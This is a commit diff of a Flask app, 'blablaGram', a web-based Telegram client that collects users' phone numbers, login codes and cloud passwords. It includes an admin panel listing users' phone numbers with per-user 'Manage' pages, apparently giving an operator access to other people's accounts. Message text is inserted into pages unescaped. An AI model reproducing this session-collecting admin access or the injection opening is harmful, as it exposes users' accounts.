Aleksmorshen commited on
Commit
31fffd7
·
verified ·
1 Parent(s): f8fd9b9

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +355 -496
app.py CHANGED
@@ -11,7 +11,6 @@ from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotP
11
  from telethon.tl.functions.messages import ImportChatInviteRequest
12
  from telethon.tl.functions.channels import JoinChannelRequest
13
  from telethon.tl.types import User, Chat, Channel
14
- from telethon.errors.rpcerrorlist import PhoneNumberInvalidError, PhoneCodeExpiredError, PhoneCodeInvalidError, RpcCallError
15
 
16
  app = Flask(__name__)
17
 
@@ -65,42 +64,22 @@ LOGIN_TEMPLATE = '''
65
  <meta charset="UTF-8">
66
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
67
  <title>blablaGram - Login</title>
68
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
69
  <style>
70
- :root {
71
- --primary-blue: #2AABEE;
72
- --dark-blue: #1C91D0;
73
- --background-light: #F5F7FA;
74
- --background-mid: #E9EBEE;
75
- --card-background: #FFFFFF;
76
- --text-dark: #333;
77
- --text-medium: #666;
78
- --border-light: #E0E0E0;
79
- --shadow-light: rgba(0,0,0,0.08);
80
- --shadow-medium: rgba(0,0,0,0.15);
81
- }
82
- body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-mid); color: var(--text-dark); margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; overflow: hidden; }
83
- .container { background: var(--card-background); padding: 40px; border-radius: 16px; box-shadow: 0 10px 25px var(--shadow-medium); max-width: 440px; width: 90%; text-align: center; animation: fadeIn 0.8s ease-out; }
84
- @keyframes fadeIn { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } }
85
- h1 { color: var(--primary-blue); margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; }
86
- input[type="text"], input[type="password"] { width: calc(100% - 30px); padding: 15px; margin: 12px 0; border: 1px solid var(--border-light); border-radius: 10px; background: var(--background-light); color: var(--text-dark); font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
87
- input[type="text"]:focus, input[type="password"]:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 4px rgba(42, 171, 238, 0.2); outline: none; background: #fff; }
88
- button { background: var(--primary-blue); color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.1em; font-weight: 600; margin-top: 20px; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; width: 100%; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.3); }
89
- button:hover { background: var(--dark-blue); transform: translateY(-2px); box-shadow: 0 6px 15px rgba(42, 171, 238, 0.4); }
90
  button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
91
- .message { margin-top: 25px; padding: 18px; border-radius: 10px; font-size: 0.95em; line-height: 1.5; text-align: left; animation: slideIn 0.5s ease-out forwards; opacity: 0; }
92
- @keyframes slideIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }
93
  .message.success { background: #E6FFF1; color: #159C66; border: 1px solid #C8F0E0; }
94
  .message.error { background: #FFEBEE; color: #C9302C; border: 1px solid #F0C8C8; }
95
- .message.info { background: #EBF8FF; color: var(--primary-blue); border: 1px solid #C8E6F0; }
96
  .hidden { display: none; }
97
-
98
- @media (max-width: 600px) {
99
- .container { padding: 30px 20px; border-radius: 12px; }
100
- h1 { font-size: 2.5em; margin-bottom: 25px; }
101
- input[type="text"], input[type="password"], button { font-size: 1em; padding: 14px; }
102
- .message { font-size: 0.9em; padding: 15px; }
103
- }
104
  </style>
105
  </head>
106
  <body>
@@ -128,18 +107,12 @@ LOGIN_TEMPLATE = '''
128
  }
129
 
130
  async function startLogin() {
131
- phone = document.getElementById('phone').value.trim();
132
  if (!phone) {
133
  showMessage('Please enter your phone number.', 'error');
134
  return;
135
  }
136
- if (!phone.startsWith('+')) {
137
- showMessage('Please include the country code (e.g., +1234567890).', 'error');
138
- return;
139
- }
140
-
141
- showMessage('Sending code...', 'info');
142
- // Hide previous inputs
143
  document.getElementById('code').classList.add('hidden');
144
  document.getElementById('password').classList.add('hidden');
145
  document.getElementById('submitCode').classList.add('hidden');
@@ -162,12 +135,16 @@ LOGIN_TEMPLATE = '''
162
  setTimeout(() => window.location.href = '/app', 1500);
163
  }
164
  } else {
165
- showMessage('Login failed: ' + result.message, 'error');
 
 
 
 
166
  }
167
  }
168
 
169
  async function submitCode() {
170
- const code = document.getElementById('code').value.trim();
171
  if (!code) {
172
  showMessage('Please enter the verification code.', 'error');
173
  return;
@@ -183,7 +160,7 @@ LOGIN_TEMPLATE = '''
183
  showMessage(result.message + ' Redirecting to app...', 'success');
184
  setTimeout(() => window.location.href = '/app', 1500);
185
  } else if (result.password_required) {
186
- showMessage(result.message, 'info');
187
  document.getElementById('password').classList.remove('hidden');
188
  document.getElementById('submitPassword').classList.remove('hidden');
189
  document.getElementById('submitCode').classList.add('hidden');
@@ -194,7 +171,7 @@ LOGIN_TEMPLATE = '''
194
  }
195
 
196
  async function submitPassword() {
197
- const password = document.getElementById('password').value.trim();
198
  if (!password) {
199
  showMessage('Please enter your cloud password.', 'error');
200
  return;
@@ -227,96 +204,80 @@ BLABLAGRAM_APP_TEMPLATE = '''
227
  <title>blablaGram</title>
228
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
229
  <style>
230
- :root {
231
- --primary-blue: #2AABEE;
232
- --dark-blue: #1C91D0;
233
- --background-light: #F5F7FA;
234
- --background-mid: #E9EBEE;
235
- --card-background: #FFFFFF;
236
- --text-dark: #1C1C1C;
237
- --text-medium: #666;
238
- --text-light: #888;
239
- --border-light: #E0E0E0;
240
- --shadow-light: rgba(0,0,0,0.05);
241
- --shadow-medium: rgba(0,0,0,0.15);
242
- --success-green: #28A745;
243
- --success-green-hover: #218838;
244
- --secondary-gray: #6C757D;
245
- --secondary-gray-hover: #5A6268;
246
- }
247
-
248
- body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-light); overflow: hidden; }
249
  .app-layout { display: flex; height: 100vh; width: 100%; }
250
-
251
- .sidebar { flex: 0 0 320px; background: var(--card-background); border-right: 1px solid var(--border-light); display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; }
252
- .sidebar-header { padding: 15px 20px; border-bottom: 1px solid var(--border-light); display: flex; align-items: center; justify-content: space-between; }
253
- .sidebar-header h2 { margin: 0; font-size: 1.6em; color: var(--primary-blue); font-weight: 700; letter-spacing: -0.5px; }
254
- .sidebar-header .actions button { background: none; border: none; font-size: 1.7em; cursor: pointer; color: var(--primary-blue); padding: 5px 8px; border-radius: 8px; transition: background-color 0.2s; }
255
- .sidebar-header .actions button:hover { background-color: var(--background-light); }
256
- .sidebar-toggle-button { background: none; border: none; font-size: 1.8em; cursor: pointer; color: var(--primary-blue); padding: 0 10px; display: none; }
257
-
258
  .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; }
259
- .chat-item { display: flex; align-items: center; padding: 14px 20px; border-bottom: 1px solid var(--background-light); cursor: pointer; transition: background-color 0.2s, color 0.2s; }
260
- .chat-item:hover { background-color: var(--background-light); }
261
- .chat-item.active { background-color: rgba(42, 171, 238, 0.08); color: var(--primary-blue); border-left: 4px solid var(--primary-blue); padding-left: 16px; }
262
- .avatar-placeholder { width: 50px; height: 50px; border-radius: 50%; background-color: var(--primary-blue); color: white; display: flex; align-items: center; justify-content: center; font-size: 1.7em; font-weight: 600; margin-right: 15px; flex-shrink: 0; box-shadow: 0 2px 5px var(--shadow-light); }
 
 
263
  .chat-info { flex: 1; overflow: hidden; }
264
- .chat-info h3 { margin: 0 0 4px; font-size: 1.1em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: var(--text-dark); }
265
- .chat-item.active .chat-info h3 { color: var(--primary-blue); }
266
- .chat-info p { margin: 0; font-size: 0.85em; color: var(--text-medium); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
267
-
 
 
 
 
 
268
  .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
269
- .chat-panel-header { background: var(--card-background); padding: 15px 25px; border-bottom: 1px solid var(--border-light); display: flex; justify-content: space-between; align-items: center; box-shadow: 0 2px 5px var(--shadow-light); }
270
- .chat-panel-header h2 { margin: 0; font-size: 1.35em; font-weight: 600; color: var(--text-dark); }
271
- .chat-panel-header .header-actions button { background: var(--primary-blue); color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
272
- .chat-panel-header .header-actions button:hover { background: var(--dark-blue); transform: translateY(-1px); }
273
  .chat-panel-header .header-actions button:active { transform: translateY(0); }
274
- .chat-panel-header .header-actions .switch-account { background: var(--secondary-gray); margin-left: 10px; box-shadow: 0 2px 5px rgba(108, 117, 125, 0.2); }
275
- .chat-panel-header .header-actions .switch-account:hover { background: var(--secondary-gray-hover); }
276
 
277
- .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; scroll-behavior: smooth; }
278
- .message-item { max-width: 75%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 2px var(--shadow-light); }
279
- .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
280
- .message-item.received { background: var(--card-background); align-self: flex-start; border-bottom-left-radius: 6px;}
281
- .message-sender { font-weight: 600; color: var(--primary-blue); margin-bottom: 5px; display: block; font-size: 0.9em; }
282
- .message-text { color: var(--text-dark); white-space: pre-wrap; word-break: break-word;}
283
- .message-meta { font-size: 0.75em; color: var(--text-light); margin-top: 6px; text-align: right; }
284
- .media-link { display: block; margin-top: 8px; color: var(--primary-blue); text-decoration: none; font-weight: 500; word-break: break-all; }
 
 
285
  .media-link:hover { text-decoration: underline; }
286
- .load-more-messages { text-align: center; margin-top: 15px; color: var(--text-medium); font-size: 0.9em;}
287
- .load-more-messages button { background: var(--primary-blue); color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; }
288
- .load-more-messages button:hover { background: var(--dark-blue); }
289
 
290
- .chat-input-area { background: var(--card-background); padding: 12px 20px; border-top: 1px solid var(--border-light); display: flex; align-items: flex-end; gap: 12px; box-shadow: 0 -2px 5px var(--shadow-light); }
291
- .chat-input-area textarea { flex: 1; padding: 12px 16px; border: 1px solid var(--border-light); border-radius: 24px; background: var(--background-light); resize: none; overflow-y: auto; max-height: 120px; min-height: 48px; font-size: 1em; line-height: 1.4; color: var(--text-dark); transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
292
- .chat-input-area textarea:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.15); outline: none; background: #fff; }
293
- .chat-input-area button { background: var(--primary-blue); color: #fff; width: 48px; height: 48px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.6em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s, box-shadow 0.2s; flex-shrink: 0; box-shadow: 0 2px 5px rgba(42, 171, 238, 0.3); }
294
- .chat-input-area button:hover { background: var(--dark-blue); transform: translateY(-1px); box-shadow: 0 4px 8px rgba(42, 171, 238, 0.4); }
295
- .chat-input-area button:active { transform: translateY(0); box-shadow: 0 1px 3px rgba(42, 171, 238, 0.2); }
 
 
296
 
297
- .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: var(--text-medium); font-size: 1.2em; text-align: center; }
298
- .join-chat-section { padding: 15px 20px; border-top: 1px solid var(--border-light); display: flex; gap: 10px; background-color: var(--card-background); }
299
- .join-chat-section input { flex: 1; padding: 12px; border: 1px solid var(--border-light); border-radius: 10px; font-size: 0.95em; box-sizing: border-box; }
300
- .join-chat-section input:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.15); outline: none; }
301
- .join-chat-section button { background: var(--success-green); color: white; padding: 0 18px; border: none; border-radius: 10px; cursor: pointer; font-weight: 500; font-size: 0.95em; transition: background 0.2s, transform 0.2s; }
302
- .join-chat-section button:hover { background: var(--success-green-hover); transform: translateY(-1px); }
303
-
304
  /* Mobile Adaptation */
 
 
 
305
  @media (max-width: 768px) {
306
  .app-layout { flex-direction: column; }
307
- .sidebar { flex: 0 0 auto; width: 100%; height: 100%; position: fixed; top: 0; left: 0; z-index: 1000; transform: translateX(-100%); background: var(--card-background); box-shadow: 2px 0 10px var(--shadow-medium); }
308
  .sidebar.active { transform: translateX(0); }
309
  .chat-panel { width: 100%; height: 100vh; position: relative; }
310
- .sidebar-toggle-button { display: block; margin-right: 15px; } /* Shows hamburger on sidebar, back arrow on chat panel */
311
  .sidebar-header .actions { display: flex; align-items: center; }
312
  .chat-panel-header { padding: 15px 15px; }
313
- .chat-panel-header h2 { font-size: 1.2em; }
314
  .chat-input-area { padding: 10px 15px; }
315
  .message-item { max-width: 90%; }
316
- }
317
- @media (min-width: 769px) {
318
- .sidebar-toggle-button.mobile-back-arrow { display: none; } /* Hide back arrow on desktop */
319
- .sidebar-toggle-button { display: none; } /* Hide hamburger button on desktop */
320
  }
321
  </style>
322
  </head>
@@ -324,7 +285,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
324
  <div class="app-layout">
325
  <div class="sidebar" id="sidebar">
326
  <div class="sidebar-header">
327
- <button class="sidebar-toggle-button" onclick="toggleSidebar()">☰</button>
328
  <h2>blablaGram</h2>
329
  <div class="actions">
330
  <button onclick="newMessage()" title="New Message">✎</button>
@@ -335,10 +296,15 @@ BLABLAGRAM_APP_TEMPLATE = '''
335
  <input type="text" id="joinChatIdentifier" placeholder="Join link or @username">
336
  <button onclick="joinChat()">Join</button>
337
  </div>
 
 
 
 
338
  </div>
 
339
  <div class="chat-panel" id="chatPanel">
340
  <div class="chat-panel-header" id="appHeader">
341
- <button class="sidebar-toggle-button mobile-back-arrow" onclick="toggleSidebar()">←</button>
342
  <div id="chat-header-info">
343
  <h2 id="chatTitle" style="display:none;"></h2>
344
  </div>
@@ -362,19 +328,15 @@ BLABLAGRAM_APP_TEMPLATE = '''
362
 
363
  <script>
364
  let currentChatId = null;
365
- let isSidebarOpen = false;
366
- let messagesLoadedOffsetId = 0;
367
  let hasMoreMessages = true;
368
- const messagesPerPage = 50; // Keep this consistent with backend limit
369
 
370
  function toggleSidebar() {
371
  const sidebar = document.getElementById('sidebar');
372
- isSidebarOpen = !isSidebarOpen;
373
- if (isSidebarOpen) {
374
- sidebar.classList.add('active');
375
- } else {
376
- sidebar.classList.remove('active');
377
- }
378
  }
379
 
380
  function adjustTextareaHeight() {
@@ -408,20 +370,20 @@ BLABLAGRAM_APP_TEMPLATE = '''
408
  chatListDiv.appendChild(chatItem);
409
  });
410
  } else {
411
- chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: var(--text-medium);">${result.message || 'No chats found.'}</p>`;
412
  }
413
  }
414
 
415
  async function selectChat(chatId) {
416
- if (currentChatId === chatId) { // Prevent re-loading if already selected
417
- if (window.innerWidth <= 768 && isSidebarOpen) { // Hide sidebar if on mobile and already open
418
- toggleSidebar();
419
- }
420
  return;
421
  }
 
422
  currentChatId = chatId;
423
- messagesLoadedOffsetId = 0; // Reset offset for new chat
424
- hasMoreMessages = true; // Assume there are more messages for a new chat
 
425
 
426
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
427
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
@@ -435,87 +397,97 @@ BLABLAGRAM_APP_TEMPLATE = '''
435
  document.getElementById('messagesContainer').style.display = 'flex';
436
  document.getElementById('chatInputArea').style.display = 'flex';
437
 
438
- await fetchMessages(chatId, 0, false); // Fetch initial messages
 
 
 
 
 
439
  if (window.innerWidth <= 768) {
440
- toggleSidebar(); // Hide sidebar on mobile after selecting chat
441
  }
442
  }
443
 
444
- async function fetchMessages(chatId, offsetId, isLoadMore) {
 
 
 
445
  const messagesContainer = document.getElementById('messagesContainer');
446
- if (!isLoadMore) {
447
- messagesContainer.innerHTML = '<p style="text-align: center; color: var(--text-medium);">Loading...</p>';
 
 
448
  } else {
449
- const loadingIndicator = document.createElement('p');
450
- loadingIndicator.style.textAlign = 'center';
451
- loadingIndicator.style.color = 'var(--text-medium)';
452
- loadingIndicator.textContent = 'Loading older messages...';
453
- loadingIndicator.id = 'loadingOlderMessages';
454
- messagesContainer.prepend(loadingIndicator);
455
  }
456
-
457
- const response = await fetch(`/api/chat_messages/${chatId}?offset_id=${offsetId}`);
458
- const result = await response.json();
459
 
460
- if (document.getElementById('loadingOlderMessages')) {
461
- document.getElementById('loadingOlderMessages').remove();
 
 
 
 
462
  }
463
 
464
  if (result.success && result.messages) {
465
- if (!isLoadMore) {
466
- messagesContainer.innerHTML = ''; // Clear only for initial load
467
  }
468
 
469
- if (result.messages.length === 0 && !isLoadMore) {
470
- messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">No messages found in this chat.</p>`;
471
  hasMoreMessages = false;
472
- return;
473
  }
474
-
475
- const fragment = document.createDocumentFragment();
476
- result.messages.reverse().forEach(msg => { // Iterate in reverse to prepend
 
 
477
  const messageItem = document.createElement('div');
478
  messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
479
 
480
- let senderInfo = !msg.is_sent && msg.sender_name && msg.type !== 'User' ? `<span class="message-sender">${msg.sender_name}</span>` : '';
481
- let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
482
  let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
483
  let metaHtml = `<div class="message-meta">${msg.date}</div>`;
484
  let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
485
 
486
  messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
487
- fragment.prepend(messageItem); // Prepend to fragment to maintain order
 
 
 
 
 
 
 
 
488
  });
 
489
 
490
- // Prepend 'Load More' button if there are more messages
491
- if (result.has_more_messages) {
492
- const loadMoreDiv = document.createElement('div');
493
- loadMoreDiv.className = 'load-more-messages';
494
- loadMoreDiv.innerHTML = `<button onclick="loadOlderMessages()">Load More</button>`;
495
- fragment.prepend(loadMoreDiv);
496
- hasMoreMessages = true;
497
  } else {
498
- hasMoreMessages = false;
 
499
  }
500
-
501
- messagesContainer.prepend(fragment); // Prepend all messages in one go
502
-
503
- if (!isLoadMore) {
504
- messagesContainer.scrollTop = messagesContainer.scrollHeight; // Scroll to bottom for initial load
505
- }
506
-
507
- messagesLoadedOffsetId = result.next_offset_id;
508
  } else {
509
- messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">${result.message || 'No messages found.'}</p>`;
510
- hasMoreMessages = false;
 
511
  }
 
512
  }
513
 
514
- function loadOlderMessages() {
515
- if (!currentChatId || !hasMoreMessages) return;
516
- document.querySelector('.load-more-messages button').remove(); // Remove current load more button
517
- fetchMessages(currentChatId, messagesLoadedOffsetId, true);
518
- }
519
 
520
  async function newMessage() {
521
  const recipient = prompt("Enter recipient's username (e.g., @username) or chat ID:");
@@ -541,17 +513,15 @@ BLABLAGRAM_APP_TEMPLATE = '''
541
  const message = messageInput.value;
542
  if (!message.trim()) return;
543
 
 
 
 
 
 
 
544
  messageInput.value = '';
545
  adjustTextareaHeight();
546
 
547
- // Optimistically add message to UI (optional, for faster feedback)
548
- const messagesContainer = document.getElementById('messagesContainer');
549
- const tempMessageItem = document.createElement('div');
550
- tempMessageItem.className = 'message-item sent';
551
- tempMessageItem.innerHTML = `<div class="message-text">${message.replace(/\\n/g, '<br>')}</div><div class="message-meta">Sending...</div>`;
552
- messagesContainer.appendChild(tempMessageItem);
553
- messagesContainer.scrollTop = messagesContainer.scrollHeight;
554
-
555
  const response = await fetch('/api/send_message', {
556
  method: 'POST',
557
  headers: { 'Content-Type': 'application/json' },
@@ -559,10 +529,10 @@ BLABLAGRAM_APP_TEMPLATE = '''
559
  });
560
  const result = await response.json();
561
  if (result.success) {
562
- await fetchMessages(currentChatId, 0, false); // Re-fetch the latest messages to include the new one and refresh state
563
  } else {
564
  alert('Failed to send message: ' + result.message);
565
- tempMessageItem.remove(); // Remove optimistic message if failed
566
  messageInput.value = message;
567
  adjustTextareaHeight();
568
  }
@@ -581,33 +551,31 @@ BLABLAGRAM_APP_TEMPLATE = '''
581
  formData.append('file', file);
582
  formData.append('caption', caption);
583
 
584
- messageInput.value = ''; // Clear message input
585
- fileInput.value = ''; // Clear file input
 
 
 
 
 
 
586
  adjustTextareaHeight();
587
 
588
- const messagesContainer = document.getElementById('messagesContainer');
589
- const uploadIndicator = document.createElement('p');
590
- uploadIndicator.style.textAlign = 'center';
591
- uploadIndicator.style.color = 'var(--text-medium)';
592
- uploadIndicator.textContent = 'Uploading file...';
593
- messagesContainer.appendChild(uploadIndicator);
594
- messagesContainer.scrollTop = messagesContainer.scrollHeight;
595
-
596
  const response = await fetch('/api/send_file', {
597
  method: 'POST',
598
  body: formData
599
  });
600
  const result = await response.json();
601
- uploadIndicator.remove(); // Remove upload indicator
602
  if (result.success) {
603
- await fetchMessages(currentChatId, 0, false); // Re-fetch messages to show the sent file
604
  } else {
605
  alert('Failed to send file: ' + result.message);
 
606
  }
607
  }
608
 
609
  async function joinChat() {
610
- const chatIdentifier = document.getElementById('joinChatIdentifier').value.trim();
611
  if (!chatIdentifier.trim()) {
612
  alert('Please enter a channel/group username or invite link.');
613
  return;
@@ -653,55 +621,29 @@ ADMHOSTO_TEMPLATE = '''
653
  <meta charset="UTF-8">
654
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
655
  <title>blablaGram - Admin Panel</title>
656
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
657
  <style>
658
- :root {
659
- --primary-blue: #2AABEE;
660
- --dark-blue: #1C91D0;
661
- --background-light: #F5F7FA;
662
- --card-background: #FFFFFF;
663
- --text-dark: #333;
664
- --text-medium: #666;
665
- --border-light: #E0E0E0;
666
- --shadow-medium: rgba(0,0,0,0.15);
667
- --secondary-gray: #6C757D;
668
- --secondary-gray-hover: #5A6268;
669
- }
670
- body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 20px; box-sizing: border-box;}
671
- .container { max-width: 960px; margin: auto; background: var(--card-background); padding: 30px; border-radius: 16px; box-shadow: 0 10px 25px var(--shadow-medium); }
672
- h1, h2 { text-align: center; color: var(--primary-blue); margin-bottom: 25px; font-weight: 700; letter-spacing: -0.5px;}
673
- h1 { font-size: 2.8em; }
674
- h2 { font-size: 1.8em; }
675
- table { width: 100%; border-collapse: collapse; margin-top: 20px; border-radius: 10px; overflow: hidden; box-shadow: 0 4px 10px rgba(0,0,0,0.08); }
676
- th, td { padding: 15px 20px; border: 1px solid var(--border-light); text-align: left; }
677
- th { background: var(--background-light); color: var(--text-medium); font-weight: 600; font-size: 0.95em; text-transform: uppercase; }
678
  tr:nth-child(even) { background: #FDFDFD; }
679
- tr:hover { background: rgba(42, 171, 238, 0.05); }
680
- a { color: var(--primary-blue); text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
681
- a:hover { text-decoration: underline; color: var(--dark-blue); }
682
- .back-button { margin-top: 30px; text-align: center; }
683
- .back-button a { display: inline-block; padding: 12px 25px; background: var(--secondary-gray); color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s; font-weight: 600; box-shadow: 0 4px 10px rgba(108, 117, 125, 0.2); }
684
- .back-button a:hover { background: var(--secondary-gray-hover); text-decoration: none; transform: translateY(-2px); }
685
- .back-button a:active { transform: translateY(0); }
686
-
687
  @media (max-width: 768px) {
688
  body { padding: 15px; }
689
- .container { padding: 25px 15px; border-radius: 12px; }
690
- h1 { font-size: 2.2em; margin-bottom: 20px; }
691
- h2 { font-size: 1.5em; }
692
- table, thead, tbody, th, td, tr { display: block; }
693
- thead tr { position: absolute; top: -9999px; left: -9999px; } /* Hide table headers (but not display: none;, for accessibility) */
694
- tr { border: 1px solid var(--border-light); margin-bottom: 15px; border-radius: 8px; overflow: hidden; }
695
- td { border: none; border-bottom: 1px solid var(--border-light); position: relative; padding-left: 50%; text-align: right; }
696
- td:last-child { border-bottom: none; }
697
- td:before { position: absolute; left: 6px; width: 45%; padding-right: 10px; white-space: nowrap; text-align: left; font-weight: 600; color: var(--text-medium); font-size: 0.9em; }
698
- td:nth-of-type(1):before { content: "ID"; }
699
- td:nth-of-type(2):before { content: "Telegram ID"; }
700
- td:nth-of-type(3):before { content: "Username"; }
701
- td:nth-of-type(4):before { content: "Phone"; }
702
- td:nth-of-type(5):before { content: "Actions"; }
703
- td a { display: block; text-align: right; }
704
- .back-button a { width: calc(100% - 30px); }
705
  }
706
  </style>
707
  </head>
@@ -742,79 +684,60 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
742
  <meta charset="UTF-8">
743
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
744
  <title>Manage: {{ user.username or user.phone }}</title>
745
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
746
  <style>
747
- :root {
748
- --primary-blue: #2AABEE;
749
- --dark-blue: #1C91D0;
750
- --background-light: #F5F7FA;
751
- --card-background: #FFFFFF;
752
- --text-dark: #333;
753
- --text-medium: #666;
754
- --text-light: #999;
755
- --border-light: #E0E0E0;
756
- --shadow-light: rgba(0,0,0,0.05);
757
- --shadow-medium: rgba(0,0,0,0.15);
758
- --success-green: #28A745;
759
- --success-green-hover: #218838;
760
- --secondary-gray: #6C757D;
761
- --secondary-gray-hover: #5A6268;
762
- }
763
- body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 20px; box-sizing: border-box; }
764
- .container { max-width: 1200px; margin: auto; background: var(--card-background); padding: 30px; border-radius: 16px; box-shadow: 0 10px 25px var(--shadow-medium); }
765
- h1 { text-align: center; color: var(--primary-blue); margin-bottom: 20px; font-weight: 700; font-size: 2.5em; letter-spacing: -0.5px; }
766
- h2 { margin-top: 0; font-size: 1.5em; font-weight: 600; color: var(--text-dark); margin-bottom: 15px; }
767
- .user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: var(--text-medium); font-weight: 500; border-bottom: 1px solid var(--border-light); padding-bottom: 20px; }
768
  .split-panel { display: flex; gap: 25px; margin-top: 25px; }
769
- .split-panel > div { flex: 1; background: var(--background-light); padding: 25px; border-radius: 12px; border: 1px solid var(--border-light); box-shadow: 0 4px 10px var(--shadow-light); }
770
- input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid var(--border-light); border-radius: 10px; background: var(--card-background); font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
771
